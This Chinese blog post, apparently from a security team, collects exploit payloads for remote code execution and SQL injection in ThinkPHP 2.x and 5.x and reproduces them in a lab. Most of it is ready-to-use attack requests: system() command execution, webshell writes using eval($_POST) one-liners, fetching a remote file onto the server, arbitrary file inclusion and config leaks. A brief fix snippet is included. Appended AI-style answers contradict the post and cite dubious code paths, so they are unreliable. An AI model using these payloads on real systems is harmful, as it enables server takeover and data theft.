ThinkPHP 2.x/5.0.x/5.1.x/5 in-sqlinjection 命令执行漏洞

基础知识

  ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

  模块:thinkphp 所有的主入口文件默认访问index控制器
  方法:thinkphp 所有的控制器默认执行index动作
  构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

漏洞原理

ThinkPHP 2.x 任意代码执行漏洞
  就是在thinkphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。
ThinkPHP <=5.0.23 远程代码执行漏洞
  ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
ThinkPHP 5.0.20 远程代码执行漏洞
  由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
ThinkPHP5 in-sqlinjection
  控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

涉及版本

ThinkPHP 2.x
ThinkPHP <=5.0.23
ThinkPHP =5.0.20
ThinkPHP5

漏洞payload梳理(ThinkPHP 5.1.0-5.1.23/5.1.* )


  执行流程:发起请求->路由检测->获取pathinfo信息->路由匹配->路由解析->获得模块、控制器、操作方法调度信息->路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束

  漏洞原因:路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库

  漏洞思路
            1.因为Request类的method和__construct方法造成的RCE
            2.因为Request类在兼容模式下获取的控制器没有进行合法校验导致的RCE

ThinkPHP 5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

ThinkPHP 5.0.x

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

还有一种:

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

ThinkPHP <= 5.0.13:

POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug:

POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha:

POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

  可以看到payload分为两种类型,一种是因为Request类的method和__construct方法造成的,另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验。


(1)thinkphp5 method任意调用方法导致rce

ThinkPHP 5.0(debug 无关):

命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

ThinkPHP 5.0.1-5.0.13(debug 无关):
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

ThinkPHP 5.0.13 补充(有captcha路由时无需debug=true):
命令执行

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

ThinkPHP 5.0.14-5.0.20(默认debug=false,需要开启debug):
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

ThinkPHP 5.0.21-5.0.23(默认debug=false,需要开启debug):
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

ThinkPHP 5.0.24作为5.0.x的最后一个版本,rce被修复
ThinkPHP 5.1.0-5.1.1(默认debug为true)
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

"topthink/think-captcha": "2.*"
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get

基于__construct的payload大部分出现在5.0.x及低版本的5.1.x中

(2)未开启强制路由导致rce

命令执行

5.0.x
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写shell

5.0.x
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
5.1.x
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>             //shell生成在runtime/temp/md5(template).php
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)

其他

5.0.x
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件

修复

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
	throw new HttpException(404, 'controller not exists:' . $controller);
}

漏洞复现


  前情提要:云主机作为攻击方,云主机内部靶场镜像开启相应的漏洞容器作为受害方。

  前情提要:注意要点,对数据包进行修改时,对于需要把“GET”包修改为“POST”包时一定要注意,使用burpsuite自带的请求转换“change request method”,若直接修改请求头可能出现攻击不成功的可能,需要添加字段Content-Type: application/x-www-form-urlencoded


ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

访问页面:

在这里插入图片描述

拼接查看

// phpinfo敏感文件
/index.php?s=/index/index/xxx/${@phpinfo()}

在这里插入图片描述

上传小马,菜刀连接:

// 连接密码为“1”可以修改
/index.php?s=a/b/c/${@print(eval($_POST[1]))}

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

ThinkPHP <=5.0.23 远程代码执行漏洞

// payload
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

在云主机开启靶场,访问页面,如下:

在这里插入图片描述
(1)执行新建文件夹

// 新建文件夹test
touch test

在这里插入图片描述
查看是否成功
在这里插入图片描述
(2)还可以使用echo写入带内容的文件

// 博主尝试写入一句话失败了,想着应该是有些限制
echo ‘I am a boy’ >> ./test.txt

在这里插入图片描述

ThinkPHP 5.0.20 远程代码执行漏洞

(1)直接进行URL拼接,phpinfo页面:

// 拼接
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1` and it'll execute the phpinfo:

在这里插入图片描述
(2)直接进行URL拼接,命令执行:

// 命令"id"可更改
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

在这里插入图片描述
(3)换一种方式,写shell执行:

// POST内的可以更改
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[a]);?>

在这里插入图片描述

在这里插入图片描述

ThinkPHP5 in-sqlinjection

// 爆出用户名密码
http://IP/index.php?ids[]=1&ids[]=2

在这里插入图片描述

// 错误回显敏感信息,数据库名
http://IP/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

在这里插入图片描述
  预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

参考资料

https://www.cnblogs.com/cute-puli/p/13285528.html
https://www.cnblogs.com/0xdd/p/10848746.html
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
https://www.secpulse.com/archives/59120.html
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
https://y4er.com/post/thinkphp5-rce/


ERRORS团队


    ERRORS团队源于网络空间安全的兴趣爱好者共同组建,致力于从网络安全的各个层面维护国家网络空间安全,团队成员拥有专业的渗透测试技术、安全评估能力、逆向分析技巧以及丰富的项目经验和实战经验。该团队是一支年轻的有生命力的团队,旨在通过知识分享、技术探讨提升网络安全意识和专业技能。


加入我们:

ERRORS团队主页:  https://www.chihou.pro/

盒子团队申请:      https://www.vulbox.com/team/ERRORS

或者邮件联系:      chihou.pro@gmail.com


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 这个问题是关于ThinkPHP 2.x是否存在代码漏洞的。据我所知,目前没有任何官方宣布过该版本存在漏洞的消息。但是任何一个应用程序都有可能存在漏洞,因此在使用任何版本的框架时都需要小心谨慎,并始终保持最新版本的更新。如果发现了任何问题,应该及时向官方反馈。 ### 回答2: thinkphp是一款非常流行的PHP开源框架,其中的2.x版本存在任意代码执行漏洞。该漏洞存在于框架的核心类文件中,攻击者可以构造特殊的参数,在受害者服务器上执行任意代码,导致服务器被入侵,甚至整个网站被控制。 具体来说,当用户的输入作为参数传递给框架的Loader类时,如果没有进行充分的过滤和验证,攻击者就可以通过注入恶意代码,来控制服务器。在thinkphp 2.x版本中,以下方法是存在问题的: ``` thinkphp/library/think/Loader.php -> import()方法 thinkphp/library/think/Template/Driver.php -> abstract parse()方法 ``` 在import方法中,如果用户通过GET或者POST请求向网站提交数据,在没有进行过滤的情况下,该参数会被直接传递给Loader类,当该参数中含有'://'或者'\\'时,Loader类会默认该参数为URL或文件路径,进而执行include等相关操作,这为攻击者提供了一个绕过安全限制的途径。 在parse方法中,如果用户提交了一个包含PHP代码的模板文件,攻击者可以通过提交的数据来控制parse方法执行时所使用的函数和参数,进而达到任意代码执行的效果。 为了避免该漏洞的出现,开发人员需要注意代码编写规范,尽量避免使用用户输入的数据来构造URL或文件路径,同时需要对用户输入进行充分的过滤和验证,包括数据类型、长度、格式等内容。此外,开发人员也可以使用更加先进的开发框架,或者借助第三方安全验证工具,对网站进行全面的安全测试,以及时发现和修复漏洞,保护网站安全。 ### 回答3: ThinkPHP是一款流行的PHP开发框架,被广泛应用于各种Web应用程序的开发。ThinkPHP 2.x是其中的一个早期版本,该版本因存在任意代码执行漏洞而备受关注。 该漏洞存在于ThinkPHP 2.x的模板解析机制中,该机制允许开发人员在视图页面中使用变量替换来展示动态内容。然而,在未对变量进行过滤的情况下,攻击者可以构造恶意变量,从而实现任意代码执行的攻击。 具体来说,攻击者可以通过在URL参数或提交数据中注入恶意变量来触发漏洞。该变量包含恶意代码,以及一些特殊参数来控制代码的执行。攻击者可以通过该漏洞执行系统命令、读取敏感文件、获取访问权限等。 该漏洞的危害性较大,因此开发者应尽快升级到更高版本的ThinkPHP框架,或者采取其他措施来修复漏洞。具体措施包括: 1. 对用户提交的数据进行严格过滤和验证,确保不含有可疑的代码或命令。 2. 设置安全防护机制,如禁止用户上传和执行PHP文件、限制文件读写权限等。 3. 及时升级系统补丁,修复已知的安全漏洞。 总之,任意代码执行漏洞是一种非常危险的漏洞类型,需要开发人员加强安全意识和技术能力,采取有效的预防和修复措施,以确保Web应用程序的安全可靠。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值